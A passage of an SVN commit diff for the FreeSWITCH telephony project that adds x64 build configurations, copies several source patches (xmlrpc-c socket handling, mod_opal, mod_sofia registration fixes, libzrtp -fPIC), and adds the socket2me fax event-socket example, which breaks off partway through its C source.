+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Release\xmltok/xmltok.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -186,6 +339,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -194,6 +356,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\expat\xmltok\xmltok.c"
@@ -208,6 +379,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -216,6 +396,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 		<Filter

Modified: freeswitch/branches/seven/libs/xmlrpc-c/include/xmlrpc-c/abyss.h (14471 => 14472)


--- freeswitch/branches/seven/libs/xmlrpc-c/include/xmlrpc-c/abyss.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/xmlrpc-c/include/xmlrpc-c/abyss.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -460,7 +460,7 @@
 ** Maximum number of simultaneous connections
 *********************************************************************/
 
-#define MAX_CONN    16
+#define MAX_CONN 100000
 
 /*********************************************************************
 ** General purpose definitions

Property changes: freeswitch/branches/seven/libs/xmlrpc-c/lib


Name: svn:ignore
   - *.lib
   + *.lib
x64

Copied: freeswitch/branches/seven/patches/MODAPP-293.diff (from rev 14471, freeswitch/trunk/patches/MODAPP-293.diff) (0 => 14472)


--- freeswitch/branches/seven/patches/MODAPP-293.diff	                        (rev 0)
+++ freeswitch/branches/seven/patches/MODAPP-293.diff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,26 @@
+Index: libs/xmlrpc-c/lib/abyss/src/socket_unix.c
+===================================================================
+--- libs/xmlrpc-c/lib/abyss/src/socket_unix.c	(revision 13903)
++++ libs/xmlrpc-c/lib/abyss/src/socket_unix.c	(working copy)
+@@ -227,20 +227,8 @@
+     struct socketUnix * const socketUnixP = channelP->implP;
+ 
+     int rc;
+-	fd_set rfds, efds;
+-	struct timeval tv = { 10, 0 };
+-	
+-	FD_ZERO(&rfds);
+-	FD_ZERO(&efds);
+-	FD_SET(socketUnixP->fd, &rfds);
+-	FD_SET(socketUnixP->fd, &efds);
++    rc = recv(socketUnixP->fd, buffer, bufferSize, 0);
+ 
+-	if ((rc = select(socketUnixP->fd + 1, &rfds, NULL, &efds, &tv)) > 0) {
+-		rc = recv(socketUnixP->fd, buffer, bufferSize, 0);
+-	} else {
+-		rc = -1;
+-	}
+-
+     if (rc < 0) {
+         *failedP = TRUE;
+         if (ChannelTraceIsActive)

Copied: freeswitch/branches/seven/patches/MODOPAL-10-svn.diff (from rev 14471, freeswitch/trunk/patches/MODOPAL-10-svn.diff) (0 => 14472)


--- freeswitch/branches/seven/patches/MODOPAL-10-svn.diff	                        (rev 0)
+++ freeswitch/branches/seven/patches/MODOPAL-10-svn.diff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,60 @@
+Index: src/mod/endpoints/mod_opal/mod_opal.cpp
+===================================================================
+--- src/mod/endpoints/mod_opal/mod_opal.cpp	(revision 13502)
++++ src/mod/endpoints/mod_opal/mod_opal.cpp	(working copy)
+@@ -509,7 +509,7 @@
+ }
+ 
+ 
+-OpalLocalConnection *FSEndPoint::CreateConnection(OpalCall & call, void *userData)
++OpalLocalConnection *FSEndPoint::CreateConnection(OpalCall & call, void * userData, unsigned options, OpalConnection::StringOptions * stringOptions)
+ {
+     FSManager & mgr = (FSManager &) GetManager();
+     switch_core_session_t *fsSession = switch_core_session_request(mgr.GetSwitchInterface(), 
+@@ -524,7 +524,7 @@
+         return NULL;
+     }
+ 
+-    return new FSConnection(call, *this, (switch_caller_profile_t *)userData, fsSession, fsChannel);
++    return new FSConnection(call, *this, (switch_caller_profile_t *)userData, fsSession, fsChannel, options, stringOptions);
+ }
+ 
+ 
+@@ -557,8 +557,8 @@
+ ///////////////////////////////////////////////////////////////////////
+ 
+ 
+-FSConnection::FSConnection(OpalCall & call, FSEndPoint & endpoint, switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel)
+-  : OpalLocalConnection(call, endpoint, NULL)
++FSConnection::FSConnection(OpalCall & call, FSEndPoint & endpoint, switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel, unsigned options, OpalConnection::StringOptions * stringOptions)
++  : OpalLocalConnection(call, endpoint, NULL, options, stringOptions)
+   , m_endpoint(endpoint)
+   , m_fsSession(fsSession)
+   , m_fsChannel(fsChannel)
+Index: src/mod/endpoints/mod_opal/mod_opal.h
+===================================================================
+--- src/mod/endpoints/mod_opal/mod_opal.h	(revision 13502)
++++ src/mod/endpoints/mod_opal/mod_opal.h	(working copy)
+@@ -148,7 +148,10 @@
+     FSEndPoint(FSManager & manager);
+ 
+     virtual bool OnIncomingCall(OpalLocalConnection &);
+-    virtual OpalLocalConnection *CreateConnection(OpalCall &, void *);
++    virtual OpalLocalConnection *CreateConnection(OpalCall & call,
++                                                  void * userData,
++                                                  unsigned options,
++                                                  OpalConnection::StringOptions * stringOptions);
+ };
+ 
+ 
+@@ -181,7 +184,9 @@
+                  FSEndPoint & endpoint,
+                  switch_caller_profile_t *outbound_profile,
+                  switch_core_session_t *fsSession,
+-                 switch_channel_t *fsChannel);
++                 switch_channel_t *fsChannel,
++                 unsigned options,
++                 OpalConnection::StringOptions * stringOptions);
+ 
+     virtual bool OnIncoming();
+     virtual void OnReleased();

Copied: freeswitch/branches/seven/patches/sofia.diff (from rev 14471, freeswitch/trunk/patches/sofia.diff) (0 => 14472)


--- freeswitch/branches/seven/patches/sofia.diff	                        (rev 0)
+++ freeswitch/branches/seven/patches/sofia.diff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,383 @@
+Index: src/mod/endpoints/mod_sofia/sofia_reg.c
+===================================================================
+--- src/mod/endpoints/mod_sofia/sofia_reg.c	(revision 12705)
++++ src/mod/endpoints/mod_sofia/sofia_reg.c	(working copy)
+@@ -37,26 +37,56 @@
+  */
+ #include "mod_sofia.h"
+ 
+-static void sofia_reg_kill_reg(sofia_gateway_t *gateway_ptr, int unreg)
++static void sofia_reg_new_handle(sofia_gateway_t *gateway_ptr)
+ {
++	int ss_state = nua_callstate_authenticating;
++
+ 	if (gateway_ptr->nh) {
+-		if (unreg) {
+-			nua_unregister(gateway_ptr->nh,
+-						   NUTAG_URL(gateway_ptr->register_url),
+-						   SIPTAG_FROM_STR(gateway_ptr->register_from),
+-						   SIPTAG_TO_STR(gateway_ptr->register_from),
+-						   SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
+-						   SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
+-						   NUTAG_REGISTRAR(gateway_ptr->register_proxy),
+-						   NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
+-		}
+ 		nua_handle_bind(gateway_ptr->nh, NULL);
+ 		nua_handle_destroy(gateway_ptr->nh);
+ 		gateway_ptr->nh = NULL;
++		sofia_private_free(gateway_ptr->sofia_private);
+ 	}
+ 
++	gateway_ptr->nh = nua_handle(gateway_ptr->profile->nua, NULL,
++								 SIPTAG_CALL_ID_STR(gateway_ptr->uuid_str),
++								 NUTAG_URL(gateway_ptr->register_proxy),
++								 SIPTAG_TO_STR(gateway_ptr->register_to),
++								 NUTAG_CALLSTATE_REF(ss_state), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
++
++
++	if (!gateway_ptr->sofia_private) {
++		gateway_ptr->sofia_private = malloc(sizeof(*gateway_ptr->sofia_private));
++		switch_assert(gateway_ptr->sofia_private);
++	}
++	memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
++	
++	gateway_ptr->sofia_private->gateway = gateway_ptr;
++	nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
+ }
+ 
++static void sofia_reg_kill_reg(sofia_gateway_t *gateway_ptr)
++{
++
++	if (!gateway_ptr->nh) {
++		sofia_reg_new_handle(gateway_ptr);
++
++	}
++
++	if (gateway_ptr->nh) {
++		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "UNRegistering %s\n", gateway_ptr->name);
++		nua_unregister(gateway_ptr->nh,
++					   NUTAG_URL(gateway_ptr->register_url),
++					   SIPTAG_FROM_STR(gateway_ptr->register_from),
++					   SIPTAG_TO_STR(gateway_ptr->register_from),
++					   SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
++					   SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
++					   NUTAG_REGISTRAR(gateway_ptr->register_proxy),
++					   NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
++	}
++	
++}
++
+ static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway) {
+ 	switch_event_t *s_event;
+ 	if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_GATEWAY_STATE) == SWITCH_STATUS_SUCCESS) {
+@@ -71,10 +101,9 @@
+ 	sofia_gateway_t *gateway_ptr;
+ 	for (gateway_ptr = profile->gateways; gateway_ptr; gateway_ptr = gateway_ptr->next) {
+ 		if (gateway_ptr->sofia_private) {
+-			free(gateway_ptr->sofia_private);
+-			gateway_ptr->sofia_private = NULL;
++			sofia_private_free(gateway_ptr->sofia_private);
+ 		}
+-		sofia_reg_kill_reg(gateway_ptr, 1);
++		sofia_reg_kill_reg(gateway_ptr);
+ 	}
+ }
+ 
+@@ -108,7 +137,7 @@
+ 				break;
+ 			case SUB_STATE_UNSUBSCRIBE:
+ 				gw_sub_ptr->state = SUB_STATE_NOSUB;
+-				
++
+ 				/* not tested .. */
+ 				nua_unsubscribe(gateway_ptr->nh,
+ 						NUTAG_URL(gateway_ptr->register_url),
+@@ -121,24 +150,23 @@
+ 				
+ 				break;
+ 			case SUB_STATE_UNSUBED:
+-				if ((gateway_ptr->nh = nua_handle(gateway_ptr->profile->nua, NULL,
+-												  NUTAG_URL(gateway_ptr->register_proxy),
+-												  SIPTAG_TO_STR(gateway_ptr->register_to),
+-												  NUTAG_CALLSTATE_REF(ss_state), 
+-												  SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END()))) {
+-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "subscribing to [%s] on gateway [%s]\n", gw_sub_ptr->event, gateway_ptr->name);
+-				}
++				gateway_ptr->sub_nh = nua_handle(gateway_ptr->profile->nua, NULL,
++												 NUTAG_URL(gateway_ptr->register_proxy),
++												 SIPTAG_TO_STR(gateway_ptr->register_to),
++												 NUTAG_CALLSTATE_REF(ss_state), 
++												 SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
++				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "subscribing to [%s] on gateway [%s]\n", gw_sub_ptr->event, gateway_ptr->name);
+ 				
+ 				gateway_ptr->sofia_private = malloc(sizeof(*gateway_ptr->sofia_private));
+ 				switch_assert(gateway_ptr->sofia_private);
+-
++				
+ 				memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
+ 
+ 				gateway_ptr->sofia_private->gateway = gateway_ptr;
+ 				nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
+ 
+ 				if (now) {
+-					nua_subscribe(gateway_ptr->nh,
++					nua_subscribe(gateway_ptr->sub_nh,
+ 							NUTAG_URL(gateway_ptr->register_url),
+ 							SIPTAG_EVENT_STR(gw_sub_ptr->event),
+ 							SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),  
+@@ -149,7 +177,7 @@
+ 							TAG_NULL());
+ 					gw_sub_ptr->retry = now + gw_sub_ptr->retry_seconds;
+ 				} else {
+-					nua_unsubscribe(gateway_ptr->nh,
++					nua_unsubscribe(gateway_ptr->sub_nh,
+ 							NUTAG_URL(gateway_ptr->register_url),
+ 							SIPTAG_EVENT_STR(gw_sub_ptr->event),
+ 							SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
+@@ -207,7 +235,6 @@
+ 	}
+ 
+ 	for (gateway_ptr = profile->gateways; gateway_ptr; gateway_ptr = gateway_ptr->next) {
+-		int ss_state = nua_callstate_authenticating;
+ 		reg_state_t ostate = gateway_ptr->state;
+ 
+ 		if (!now) {
+@@ -223,6 +250,7 @@
+ 			switch_assert(pvt);
+ 			memset(pvt, 0, sizeof(*pvt));
+ 			pvt->destroy_nh = 1;
++			pvt->destroy_me = 1;
+ 			switch_copy_string(pvt->gateway_name, gateway_ptr->name, sizeof(pvt->gateway_name));
+ 			nua_handle_bind(nh, pvt);
+ 
+@@ -254,64 +282,46 @@
+ 			break;
+ 
+ 		case REG_STATE_UNREGISTER:
+-			sofia_reg_kill_reg(gateway_ptr, 1);
++			sofia_reg_kill_reg(gateway_ptr);
+ 			gateway_ptr->state = REG_STATE_NOREG;
+ 			break;
+ 		case REG_STATE_UNREGED:
+ 			gateway_ptr->status = SOFIA_GATEWAY_DOWN;
+-			sofia_reg_kill_reg(gateway_ptr, 0);
++
++			sofia_reg_new_handle(gateway_ptr);
+ 			
+-			if ((gateway_ptr->nh = nua_handle(gateway_ptr->profile->nua, NULL,
+-											  SIPTAG_CALL_ID_STR(gateway_ptr->uuid_str),
+-											  NUTAG_URL(gateway_ptr->register_proxy),
+-											  SIPTAG_TO_STR(gateway_ptr->register_to),
+-											  NUTAG_CALLSTATE_REF(ss_state), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END()))) {
+-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Registering %s\n", gateway_ptr->name);
+-
+-				if (!gateway_ptr->sofia_private) {
+-					gateway_ptr->sofia_private = malloc(sizeof(*gateway_ptr->sofia_private));
+-					switch_assert(gateway_ptr->sofia_private);
+-				}
+-				memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
+-
+-				gateway_ptr->sofia_private->gateway = gateway_ptr;
+-				nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
+-
+-				if (now) {
+-					nua_register(gateway_ptr->nh,
+-								 NUTAG_URL(gateway_ptr->register_url),
+-								 TAG_IF(gateway_ptr->register_sticky_proxy, NUTAG_PROXY(gateway_ptr->register_sticky_proxy)),
+-								 SIPTAG_TO_STR(gateway_ptr->register_from),
+-								 SIPTAG_FROM_STR(gateway_ptr->register_from),
+-								 SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
+-								 SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
+-								 NUTAG_REGISTRAR(gateway_ptr->register_proxy),
+-								 NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
+-					gateway_ptr->retry = now + gateway_ptr->retry_seconds;
+-				} else {
+-					nua_unregister(gateway_ptr->nh,
+-								   NUTAG_URL(gateway_ptr->register_url),
+-								   SIPTAG_FROM_STR(gateway_ptr->register_from),
+-								   SIPTAG_TO_STR(gateway_ptr->register_from),
+-								   SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
+-								   SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
+-								   NUTAG_REGISTRAR(gateway_ptr->register_proxy),
+-								   NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
+-				}
++			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Registering %s\n", gateway_ptr->name);
++			
++			if (now) {
++				nua_register(gateway_ptr->nh,
++							 NUTAG_URL(gateway_ptr->register_url),
++							 TAG_IF(gateway_ptr->register_sticky_proxy, NUTAG_PROXY(gateway_ptr->register_sticky_proxy)),
++							 SIPTAG_TO_STR(gateway_ptr->register_from),
++							 SIPTAG_FROM_STR(gateway_ptr->register_from),
++							 SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
++							 SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
++							 NUTAG_REGISTRAR(gateway_ptr->register_proxy),
++							 NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
+ 				gateway_ptr->retry = now + gateway_ptr->retry_seconds;
+-				gateway_ptr->state = REG_STATE_TRYING;
+-
+ 			} else {
+-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error registering %s failure #%d\n", gateway_ptr->name, ++gateway_ptr->failures);
+-				gateway_ptr->state = REG_STATE_FAILED;
++				nua_unregister(gateway_ptr->nh,
++							   NUTAG_URL(gateway_ptr->register_url),
++							   SIPTAG_FROM_STR(gateway_ptr->register_from),
++							   SIPTAG_TO_STR(gateway_ptr->register_from),
++							   SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
++							   SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
++							   NUTAG_REGISTRAR(gateway_ptr->register_proxy),
++							   NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
+ 			}
++			gateway_ptr->retry = now + gateway_ptr->retry_seconds;
++			gateway_ptr->state = REG_STATE_TRYING;
++			
+ 			break;
+ 
+ 		case REG_STATE_FAILED:
+ 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s Failed Registration, setting retry to %d seconds.\n", 
+ 								  gateway_ptr->name, gateway_ptr->retry_seconds * (gateway_ptr->failures + 1));
+ 			gateway_ptr->retry =  now + (gateway_ptr->retry_seconds * (gateway_ptr->failures + 1));
+-			sofia_reg_kill_reg(gateway_ptr, 0);
+ 			gateway_ptr->status = SOFIA_GATEWAY_DOWN;
+ 			gateway_ptr->state = REG_STATE_FAIL_WAIT;
+ 			break;
+@@ -408,6 +418,7 @@
+ 						SIPTAG_CONTACT_STR(profile->url), 
+ 						TAG_END());
+ 
++		nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
+ 		nua_notify(nh,
+ 				   NUTAG_NEWSUB(1),
+ 				   SIPTAG_EVENT_STR(event), 
+@@ -1275,6 +1286,23 @@
+ 		if (ostate != sofia_private->gateway->state) {
+ 			sofia_reg_fire_custom_gateway_state_event(sofia_private->gateway);
+ 		}
++
++
++		if (status >= 200) {
++			if (sofia_private) {
++				if (sofia_private->gateway) {
++					nua_handle_destroy(sofia_private->gateway->nh);
++					sofia_private->gateway->nh = NULL;
++					nua_handle_bind(sofia_private->gateway->nh, NULL);
++					sofia_private->gateway->sofia_private = NULL;
++				} else {
++					nua_handle_destroy(nh);
++				}
++				sofia_private_free(sofia_private);
++			} else {
++				nua_handle_destroy(nh);
++			}
++		}
+ 	}
+ }
+ 
+Index: src/mod/endpoints/mod_sofia/mod_sofia.c
+===================================================================
+--- src/mod/endpoints/mod_sofia/mod_sofia.c	(revision 12705)
++++ src/mod/endpoints/mod_sofia/mod_sofia.c	(working copy)
+@@ -2703,6 +2703,8 @@
+ 					SIPTAG_CONTACT_STR(profile->url), 
+ 					TAG_END());
+ 				
++	nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
++
+ 	nua_notify(nh,
+ 			   NUTAG_NEWSUB(1),
+ 			   SIPTAG_EVENT_STR(es), 
+@@ -2902,6 +2904,8 @@
+ 
+ 	memset(&mod_sofia_globals, 0, sizeof(mod_sofia_globals));
+ 	mod_sofia_globals.destroy_private.destroy_nh = 1;
++	mod_sofia_globals.destroy_private.is_static = 1;
++	mod_sofia_globals.keep_private.is_static = 1;
+ 	mod_sofia_globals.pool = pool;
+ 	switch_mutex_init(&mod_sofia_globals.mutex, SWITCH_MUTEX_NESTED, mod_sofia_globals.pool);
+ 
+Index: src/mod/endpoints/mod_sofia/sofia.c
+===================================================================
+--- src/mod/endpoints/mod_sofia/sofia.c	(revision 12705)
++++ src/mod/endpoints/mod_sofia/sofia.c	(working copy)
+@@ -111,6 +111,7 @@
+ 			sofia_sla_handle_sip_i_notify(nua, profile, nh, sip, tags);
+ 
+ 			if (sub_state == nua_substate_terminated) {
++				sofia_private_free(sofia_private);
+ 				nua_handle_bind(nh, NULL);
+ 				nua_handle_destroy(nh);
+ 			}
+@@ -544,8 +545,7 @@
+ 			nua_handle_bind(nh, NULL);
+ 		}
+ 		sofia_private->destroy_me = 12;
+-		free(sofia_private);
+-		sofia_private = NULL;
++		sofia_private_free(sofia_private);
+ 	}
+ 
+ 	if (gateway) {
+@@ -4721,7 +4721,7 @@
+ 	}
+ 
+ 	nua_handle_bind(nh, NULL);
+-	free(sofia_private);
++	sofia_private_free(sofia_private);
+ 	switch_core_session_destroy(&session);
+ 	nua_respond(nh, 503, "Maximum Calls In Progress", SIPTAG_RETRY_AFTER_STR("300"), TAG_END());
+ }
+Index: src/mod/endpoints/mod_sofia/mod_sofia.h
+===================================================================
+--- src/mod/endpoints/mod_sofia/mod_sofia.h	(revision 12705)
++++ src/mod/endpoints/mod_sofia/mod_sofia.h	(working copy)
+@@ -122,10 +122,12 @@
+ 	int destroy_nh;
+ 	int destroy_me;
+ 	int is_call;
++	int is_static;
+ };
+ 
+ #define set_param(ptr,val) if (ptr) {free(ptr) ; ptr = NULL;} if (val) {ptr = strdup(val);}
+ #define set_anchor(t,m) if (t->Anchor) {delete t->Anchor;} t->Anchor = new SipMessage(m);
++#define sofia_private_free(_pvt) if (_pvt && ! _pvt->is_static) {free(_pvt); _pvt = NULL;}
+ 
+ /* Local Structures */
+ /*************************************************************************************************************************************************************/
+@@ -321,6 +323,7 @@
+ struct sofia_gateway {
+ 	sofia_private_t *sofia_private;
+ 	nua_handle_t *nh;
++	nua_handle_t *sub_nh;
+ 	sofia_profile_t *profile;
+ 	char *name;
+ 	char *register_scheme;
+Index: src/mod/endpoints/mod_sofia/sofia_presence.c
+===================================================================
+--- src/mod/endpoints/mod_sofia/sofia_presence.c	(revision 12705)
++++ src/mod/endpoints/mod_sofia/sofia_presence.c	(working copy)
+@@ -177,7 +177,7 @@
+ 						SIPTAG_FROM_STR(from), NUTAG_URL(contact),
+ 						SIPTAG_TO_STR(clean_to), SIPTAG_CONTACT_STR(profile->url),
+ 						TAG_END());
+-
++	nua_handle_bind(msg_nh, &mod_sofia_globals.destroy_private);
+ 	nua_message(msg_nh, SIPTAG_CONTENT_TYPE_STR(ct), SIPTAG_PAYLOAD_STR(body), TAG_END());
+ 
+  end:
+@@ -1860,6 +1860,16 @@
+ 	default:
+ 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "status (%d) != 200, updated state to SUB_STATE_FAILED.\n", status);
+ 		gw_sub_ptr->state = SUB_STATE_FAILED;
++		
++		if (sofia_private) {
++			nua_handle_destroy(sofia_private->gateway->sub_nh);
++			sofia_private->gateway->sub_nh = NULL;
++			nua_handle_bind(sofia_private->gateway->sub_nh, NULL);
++			sofia_private_free(sofia_private);
++		} else {
++			nua_handle_destroy(nh);
++		}
++
+ 		break;
+ 	}
+ }

Copied: freeswitch/branches/seven/patches/zrtp_bnlib_pic.diff (from rev 14471, freeswitch/trunk/patches/zrtp_bnlib_pic.diff) (0 => 14472)


--- freeswitch/branches/seven/patches/zrtp_bnlib_pic.diff	                        (rev 0)
+++ freeswitch/branches/seven/patches/zrtp_bnlib_pic.diff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+--- libzrtp-0.81.514.orig/third_party/bnlib/cfg.debug	2009-03-22 08:26:34.000000000 -0500
++++ libzrtp-0.81.514.patched/third_party/bnlib/cfg.debug	2009-05-20 11:42:52.000000000 -0500
+@@ -1 +1 @@
+-./configure CFLAGS="-O0 -g3"
++./configure CFLAGS="-O0 -g3 -fPIC"

Property changes: freeswitch/branches/seven/scripts


Name: svn:ignore
   - fsxs
gentls_cert
   + fsxs
gentls_cert
log

Deleted: freeswitch/branches/seven/scripts/FreeSWITCH-GizmoConfig.pl

Deleted: freeswitch/branches/seven/scripts/Makefile.gram

Deleted: freeswitch/branches/seven/scripts/api.js

Deleted: freeswitch/branches/seven/scripts/api.lua

Copied: freeswitch/branches/seven/scripts/c (from rev 14471, freeswitch/trunk/scripts/c)

Copied: freeswitch/branches/seven/scripts/c/socket2me (from rev 14471, freeswitch/trunk/scripts/c/socket2me)

Property changes: freeswitch/branches/seven/scripts/c/socket2me


Name: svn:ignore
   + socket2me

Deleted: freeswitch/branches/seven/scripts/c/socket2me/Makefile

Copied: freeswitch/branches/seven/scripts/c/socket2me/Makefile (from rev 14471, freeswitch/trunk/scripts/c/socket2me/Makefile) (0 => 14472)


--- freeswitch/branches/seven/scripts/c/socket2me/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/scripts/c/socket2me/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+all: socket2me
+socket2me: socket2me.c
+	$(CC) $(CFLAGS) socket2me.c -o socket2me -l spandsp
+clean:
+	rm socket2me

Deleted: freeswitch/branches/seven/scripts/c/socket2me/README

Copied: freeswitch/branches/seven/scripts/c/socket2me/README (from rev 14471, freeswitch/trunk/scripts/c/socket2me/README) (0 => 14472)


--- freeswitch/branches/seven/scripts/c/socket2me/README	                        (rev 0)
+++ freeswitch/branches/seven/scripts/c/socket2me/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+EXAMPLE OF EVENT SOCKET EXTERNAL APP: REQUIRES mod_event_socket
+
+Set this or something similar in your dialplan
+
+<extension name="fax">
+  <condition field="destination_number" expression="^866">
+    <action application="set" data="fax_file_name=/tmp/cool.tiff"/>
+    <!--"send" or "recv"-->
+    <action application="set" data="fax_mode=send"/>
+    <action application="socket" data="127.0.0.1:8084 async"/>
+  </condition>
+</extension>
+
+
+and in a separate process run 
+#./socket2me 127.0.0.1 127.0.0.1 8084
+
+
+
+

Deleted: freeswitch/branches/seven/scripts/c/socket2me/socket2me.c

Copied: freeswitch/branches/seven/scripts/c/socket2me/socket2me.c (from rev 14471, freeswitch/trunk/scripts/c/socket2me/socket2me.c) (0 => 14472)


--- freeswitch/branches/seven/scripts/c/socket2me/socket2me.c	                        (rev 0)
+++ freeswitch/branches/seven/scripts/c/socket2me/socket2me.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,552 @@
+/*
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *    * Redistributions of source code must retain the above copyright
+ *      notice, this list of conditions and the following disclaimer.
+ *
+ *    * Redistributions in binary form must reproduce the above
+ *      copyright notice, this list of conditions and the following
+ *      disclaimer in the documentation and/or other materials provided
+ *      with the distribution.
+ *
+ *    * Neither the name of [original copyright holder] nor the names of
+ *      its contributors may be used to endorse or promote products
+ *      derived from this software without specific prior written
+ *      permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ *
+ * Copyright (C) 2007, Anthony Minessale II <anthmct@yahoo.com>
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <arpa/inet.h>
+#include <sys/wait.h> 
+#include <string.h>
+#include <unistd.h>
+#include <spandsp.h>
+
+
+#define SOCKET2ME_DEBUG 0
+#define MAXPENDING 10000
+#define RCVBUFSIZE 4198
+#define PORT_MIN 9000
+#define PORT_MAX 10000
+
+static int use_port = PORT_MIN;
+
